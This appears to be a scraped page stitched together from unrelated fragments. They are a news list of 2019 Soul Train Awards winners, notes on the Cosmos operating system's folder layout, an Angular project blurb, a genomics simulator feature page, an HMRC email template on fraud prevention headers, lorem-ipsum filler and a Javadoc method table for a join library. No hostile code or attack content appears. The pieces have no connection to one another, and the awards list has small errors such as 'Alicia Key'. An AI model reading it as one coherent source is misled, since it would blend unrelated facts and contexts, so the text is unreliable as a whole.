by Jayne AugoyeWizkid’s collaboration with Beyonce on ‘Brown Skin Girl’ single has earned him the Ashford & Simpson Songwriter’s Award at the 2019 BET Soul Train Awards.
The Soul Train Awards is an annual event, which honours the best soul, hip-hop, and R&B artistes.
The event held at the Orleans Arena in Las Vegas, U.S.
Beyonce and her seven-year-old daughter, Blue Ivy Carter, also bagged awards.
Blue Ivy won the award for co-writing her mom’s hit “Brown Skin Girl,” a song celebrating dark- and brown-skinned women.
She also gave a vocal performance on the song, which also features Guyanese singer, Saint Jhn.
See the full list of winners below:
Best New Artist
WINNER:Summer Walker
Lucky Daye
Mahalia
Nicole Bus
Pink Sweat$
YK Osiris
Rhythm & Bars Award
WINNER:Cardi B, “Money”
21 Savage feat J. Cole, “A Lot”
DaBaby, “Suge”
J. Cole, “Middle Child”
Meek Mill feat. Drake, “Going Bad”
Megan Thee Stallion feat. DaBaby, “Cash Shit”
Best R&B/Soul Female Artist
WINNER: H.E.R.
Ari Lennox
Beyoncé
Lizzo
Mary J. Blige
Summer Walker
Best R&B/Soul Male Artist
WINNER: Khalid
Anderson .Paak
Bruno Mars
Chris Brown
Daniel Caesar
Tank
Album/Mixtape of the Year
WINNER: Cuz I Love You, Lizzo (WINNER)
Shea Butter Baby, Ari Lennox
Indigo, Chris Brown
Ella Mai, Ella Mai
I Used To Know Her, H.E.R.
Free Spirit, Khalid
Song of the Year
WINNER: “No Guidance,” Chris Brown feat. Drake
“Before I Let Go,” Beyoncé
“Shot Clock,” Ella Mai
“Talk,” Khalid
“Juice,” Lizzo
“Girls Need Love (Remix),” Summer Walker feat. Drake
Video of the Year
WINNER: Lizzo, “Juice”
Alicia Key, “Raise A Man”
Beyoncé, “Spirit”
Childish Gambino, “Feels Like Summer”
Khalid, “Better”
The Ashford & Simpson Songwriter’s Award
WINNER: “Brown Skin Girl,” written by Beyoncé Knowles, Carlos St. John, Adio Marchant, Shawn Carter, Stacy Barthe, Anathi Mnyango, Michael Uzowuru, Ayodeji Balogun, Richard Isong (Beyoncé feat. Saint Jhn, Wizkid & Blue Ivy Carter)
“Hard Place,” written by H.E.R., David Harris, Sam Ashworth & Ruby Amanfu (H.E.R.)
“Juice,” written by Theron Thomas, Sam Sumser, Sean Small, Eric Frederic & Melissa Jefferson (Lizzo)
“Make It Better,” written by Brandon Anderson, William Smokey Robinson, Alaina Chenevert, Miguel Atwood Ferguson, Daniel Manman Farid Nassar (Anderson .Paak feat. Smokey Robinson)
“No Guidance,” written by Christopher Brown, Aubrey Graham, Anderson Hernandez, Josha Lewis, Michee Lebrun, Nija Charles, Teddy Walton, Noah Shebib & Tyler Bryant (Chris Brown feat. Drake)
“Talk,” written by Howard Lawrence, Guy Lawrence & Khalid Robinson (Khalid)
Soul Train Certified Award
WINNER: Trevor Jackson
Ciara
Daniel Caesar
Fantasia
india.arie
Kelly Rowland
Best Gospel/Inspirational Award
WINNER: Kirk Franklin
Bebe Winans
Donald Lawrence
Erica Campbell
Tasha Cobbs Leonard
Tori Kelly
Best Dance Performance
WINNER: Chris Brown feat. Drake, “No Guidance”
Beyoncé, “Spirit”
Danileigh feat. Chris Brown, “Easy (Remix)”
Lizzo, “Juice”
Normani, “Motivation”
Teyana Taylor, “WTP”
Best Collaboration Performance
WINNER: Chris Brown feat. Drake, “No Guidance”
Ari Lennox feat. J. Cole, “Shea Butter Baby”
Beyoncé feat. Saint Jhn, Wizkid & Blue Ivy Carter, “Brown Skin Girl”
Cardi B & Bruno Mars, “Please Me”
PJ Morton & JOJO, “Say So”
Ty Dolla $ign feat. J. Cole, “Purple Emoji”


At a first look, the directory structure of Cosmos is quite confusing. There are folders with same names, two source folders and so on. I'll try to show you how the directories are structured, so that you can find what you're looking for
The build directory contains file used to build ISO images and Virtual Machines files and images. There is a folder with support files for BOCHS, for VirtualPc, for VMware, QEMU, for support for boot from ISO CD, USB, Ethernet (PXE)
There is also an additional folder VSIP. It normally contains a file called install.bat. That file must be executed as you download the code and everytime you change some code which is non-kernel related (eg. the debugger, the VS integration package, the IL2CPU code etc)
It compiles all the projects to libraries, creates a Win32 Installer and setups the Visual Studio IP. At the end it starts Visual Studio.
You should close Visual Studio before executing install.bat.
Just a bunch of bad-structured documentation about Cosmos
Todo.
Here you can put any pdf, doc, rtf, txt which can be used as a reference help to develop Cosmos.
It contains the folder x86. Inside you can find many interesting references about the x86 architecture.
Contains scripts and languages to build the Cosmos User Kit Installer. The creation (and execution) of the installer is started from \Build\VSIP\install.bat
TODO: Check correctness of the following sentences: Contains a lot of code which is now not used. It was used previously, but it was decided to take it away and to restructure the code organization. It may be reintegrated however in future, with some code changes.
It also contains the solution file of Cosmos and some support libraries, which IMHO should be moved to Source2
Contains the real code of Cosmos. You will spend most of your time here. However as you open it, you get confused again. Another Build, another VSIP, two or three Debug directories, etc. Let's summarize:
Any code related to the building process of Cosmos with the exception of IL2CPU which is however executed from here. Contains code for executing ld, nasm, makeiso, MSBuild, and others.
TODO: Check. This piece of code gives us the possibility to write Assembly in C#. In this way we can keep all in an OO-like style.
Contains the Debug Engine and Connector code. Also gives the possibility to work with GDB. For more informations about debugging see Debugger
Should contain examples of the use of the Cosmos User Kit. Actually only a number Guess demo is available
Code for the IL2CPU program. It's the Cosmos AOT Compiler. Form more informations about AOT compilers and IL2CPU see IL2CPU
The kernel code. One might think that in an operating system, the kernel code must be the most complex, but in this case it is actually the simplest as we are concentrating on debugging. As we finish the debug step, we will develop the kernel full-time. At the time it contains three folders:
Contains helpers for the DS code.
Contains most of the code of the kernel, including drivers and the core.
TODO
TODO
Custom code playground. You can put your examples, random code, and toughts here
TODO
Contains the code for the integration with Visual Studio. Adds support for the Cosmos Kernel project tipe, and custom build steps.


This is a Angular project I created and connected to my E-commerce database. This project is basically a copy of my actual E-commerce site which is built in ReactJS. This project is intended to help me expand my skills with Angular and Typescript.
Angular is a more streamlined framework that allows programmers to focus on simply building JavaScript classes. Views and controllers are replaced with components, which can be described as a refined version of directives.


Introduction
This EAGLE sub-project will address the development of features requested by users for the EAGLE Simulator, as long as they don't fit into more targeted sub-projects (Simulating reality, Analysis framework or BaseSpace).
We expect those features not to require a grand analysis of reqs/specs cycle, or we will consider moving them into their own sub-project.
Those features and their development status is very likely to be tracked completely by JIRA and not reported here, but this page will be useful as a bootstrap stage anyway.
Requested features
- User-specified random seeds
- Parsing of VCF Genotype (GT) field


The Gag Vault - 19th November 2019 Get your daily dose of 'The Gag Vault' 19 Nov 2019, 00:02 by charlene bougourd Gag Vault


@* * Copyright 2020 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(params: Map[String, Any]) @uk.gov.hmrc.hmrcemailrenderer.templates.helpers.html.template_main(params, "Fraud prevention headers status report") {
Dear @params("developerName")
Our API call logs show that between @params("fromDate") and @params("toDate") fraud prevention headers were submitted from application '@params("applicationName")' (id: @params("applicationId")) to our VAT Making Tax Digital (MTD) API(s).
Our checks show that some or all requests during this period had an invalid or missing value for the Gov-Client-Connection-Method header (other headers may or may not have been sent).
However, if you are unable to collect a header value due to the restrictions explained within the fraud prevention header specification, and if you are omitting the header or leaving a value blank, then please contact HMRC.
You have not provided the Gov-Client-Connection-Method header correctly and therefore you are not submitting valid fraud prevention headers. When you provide a correct Gov-Client-Connection-Method, we will validate your fraud prevention headers and send you a full header status report.
We will continue to monitor API call logs every month and give you feedback to help you meet the legal requirements.
This email address is registered as the point of contact for the application '@params("applicationName")'.
If you are not the right person to receive this email please forward it to the relevant person in your organisation.
From HMRC Transaction Monitoring Team
}


回复评论
John Donga
08 July, 2014
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type.
Update Status


| Package | Description |
|---|---|
| entities.paths | |
| factorization | |
| util |
| Modifier and Type | Field and Description |
|---|---|
List<List<List<Join_Predicate>>> |
Path_ThetaJoin_Query.join_conditions
join_conditions[i] refers to the join between relation i and i+1.
|
| Modifier and Type | Method and Description |
|---|---|
void |
Path_ThetaJoin_Query.insert_wConjunction(Relation r,
List<Join_Predicate> ps)
Inserts a relation to the path (on the right) with a conjunction as the join condition.
|
void |
Path_ThetaJoin_Query.insert_wDNF(Relation r,
List<List<Join_Predicate>> cond)
Inserts a relation to the path (on the right) with a DNF as the join condition.
|
void |
Path_ThetaJoin_Query.set_join_conditions_as_conjunction(List<Join_Predicate> preds)
Sets the same join condition between all the relations in the path.
|
void |
Path_ThetaJoin_Query.set_join_conditions_as_dnf(List<List<Join_Predicate>> cond)
Sets the same join condition between all the relations in the path.
|
| Modifier and Type | Method and Description |
|---|---|
static List<org.javatuples.Triplet<Join_Predicate,List<DP_State_Node>,List<DP_State_Node>>> |
Band.band_grouping(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate band)
Given two DP stages that correspond to the tuples of two relations
and a band condition, translates the band into multiple inequalities that give the same result.
|
| Modifier and Type | Method and Description |
|---|---|
static List<org.javatuples.Triplet<Join_Predicate,List<DP_State_Node>,List<DP_State_Node>>> |
Band.band_grouping(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate band)
Given two DP stages that correspond to the tuples of two relations
and a band condition, translates the band into multiple inequalities that give the same result.
|
private static void |
Multiway_Partitioning.partition_inequality_rec(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate inequality)
A recursive method for encoding the query results of an inequality join.
|
private static void |
Binary_Partitioning.partition_inequality_rec(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate inequality,
List<Join_Predicate> remaining)
A recursive method for encoding the query results of an inequality join.
|
private static void |
Shared_Ranges.share_inequality(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate inequality)
A method for encoding the query results of an inequality join.
|
| Modifier and Type | Method and Description |
|---|---|
static void |
Multiway_Partitioning.factorize_band(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list that contains many equalities and a single band,
constructs an efficient representation of the join results.
|
static void |
Binary_Partitioning.factorize_conjunction(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list that contains a conjunction of join conditions,
constructs an efficient representation of the join results.
|
static void |
Equality.factorize_equality(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list of equality join conditions,
constructs an efficient representation of the join results.
|
static void |
Shared_Ranges.factorize_inequality(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list that contains many equalities and a single inequality,
constructs an efficient representation of the join results.
|
static void |
Multiway_Partitioning.factorize_inequality(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list that contains many equalities and a single inequality,
constructs an efficient representation of the join results.
|
private static void |
Binary_Partitioning.factorize_next_condition(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Performs flow control by choosing the appropriate method according to the predicate.
|
static void |
Multiway_Partitioning.factorize_nonequality(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> ps)
Given two DP stages that correspond to the tuples of two relations
and a list that contains many equalities and a single non-equality,
constructs an efficient representation of the join results.
|
private static void |
Binary_Partitioning.partition_inequality_rec(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate inequality,
List<Join_Predicate> remaining)
A recursive method for encoding the query results of an inequality join.
|
static List<org.javatuples.Pair<List<DP_State_Node>,List<DP_State_Node>>> |
Equality.split_by_equality(List<DP_State_Node> left,
List<DP_State_Node> right,
List<Join_Predicate> equalities)
Given a list of equality conditions between the attributes of the left-right tuples,
this method partitions the tuples in disjoint components based on equality.
|
| Modifier and Type | Method and Description |
|---|---|
static List<org.javatuples.Pair<List<DP_State_Node>,List<DP_State_Node>>> |
Common.split_by_distinct(List<DP_State_Node> left,
List<DP_State_Node> right,
Join_Predicate inequality,
int no_partitions,
int max_values_per_partition)
For 2 stages of DP that correspond to the tuples of relations,
splits the left-right tuples into multiple partitions according to the inequality condition attributes.
|
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